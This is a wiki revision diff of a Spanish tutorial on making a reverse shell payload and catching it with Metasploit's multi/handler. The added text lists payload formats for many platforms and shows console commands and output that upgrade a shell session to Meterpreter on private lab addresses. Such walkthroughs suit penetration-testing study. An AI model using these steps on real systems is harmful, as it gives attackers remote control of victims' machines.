Site Tools


reverse_shell_with_metaexploit

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
reverse_shell_with_metaexploit [2018/06/13 21:11] jorpiloreverse_shell_with_metaexploit [2018/08/30 04:07] (current) jorpilo
Line 1: Line 1:
 ====== Reverse shell with metaexploit ====== ====== Reverse shell with metaexploit ======
 +Jorge Pinilla López
 +
 +2018/06/13
 +
 Vamos a crear un reverse shell y a usarlo mediante un payload, metaexploit y meterpreter Vamos a crear un reverse shell y a usarlo mediante un payload, metaexploit y meterpreter
  
Line 6: Line 10:
  
 Opciones por defecto: Opciones por defecto:
-*Port 443 +  *Port 443 
-*MSF +  *MSF 
-*REVERSE +  *REVERSE 
-*STAGELESS +  *STAGELESS 
-*TCP+  *TCP
 Ejemplo de uso: Ejemplo de uso:
 <code> <code>
Line 39: Line 43:
  
 Posibles payloads a generar: Posibles payloads a generar:
 +  *APK 
 +  *ASP 
 +  *ASPX 
 +  *Bash [.sh] 
 +  *Java [.jsp] 
 +  *Linux [.elf] 
 +  *OSX [.macho] 
 +  *Perl [.pl] 
 +  *PHP 
 +  *Powershell [.ps1] 
 +  *Python [.py] 
 +  *Tomcat [.war] 
 +  *Windows [.exe /.dll]
  
 Esto genera dos archivos: Esto genera dos archivos:
  
-*linux-shell-staged-reverse-tcp-443.elf+  *linux-shell-staged-reverse-tcp-443.elf
  
 Archivo que el atacado debe ejecutar Archivo que el atacado debe ejecutar
  
-*linux-shell-staged-reverse-tcp-443-elf.rc+  *linux-shell-staged-reverse-tcp-443-elf.rc
  
 Payload para multi/handler de metaexploit Payload para multi/handler de metaexploit
Line 131: Line 147:
 Vamos a ir un paso más y vamos a transformar dicha sesión de shell en una sesión de meterpreter, para ello: Vamos a ir un paso más y vamos a transformar dicha sesión de shell en una sesión de meterpreter, para ello:
 <code> <code>
 +msf exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter 
 +msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
 +SESSION => 1
 +msf post(multi/manage/shell_to_meterpreter) > run
 +
 +[*] Upgrading session ID: 1
 +[*] Starting exploit/multi/handler
 +[*] Started reverse TCP handler on 192.168.200.10:4433 
 +[*] Sending stage (853256 bytes) to 192.168.200.164
 +[*] Meterpreter session 2 opened (192.168.200.10:4433 -> 192.168.200.164:60144) at 2018-06-13 23:12:34 +0200
 +[*] Command stager progress: 100.00% (773/773 bytes)
 +[*] Post module execution completed
 +</code>
 +
 +Si ahora vamos a sessions observamos las dos sesiones, podemos acceder a la session 2 de meterpreter:
 +<code>
 +msf post(multi/manage/shell_to_meterpreter) > sessions -l
 +
 +Active sessions
 +===============
 +
 +  Id  Name  Type                   Information                                                 Connection
 +  --  ----  ----                   -----------                                                 ----------
 +  1         shell x86/linux                                                                    192.168.200.10:443 -> 192.168.200.164:42480 (192.168.200.164)
 +  2         meterpreter x86/linux  uid=1001, gid=1001, euid=1001, egid=1001 @ 192.168.200.164  192.168.200.10:4433 -> 192.168.200.164:60144 (192.168.200.164)
 +
 +msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
 +[*] Starting interaction with 2...
 +
 +meterpreter > 
 +
 </code> </code>
  
  
reverse_shell_with_metaexploit.1528924276.txt.gz · Last modified: by jorpilo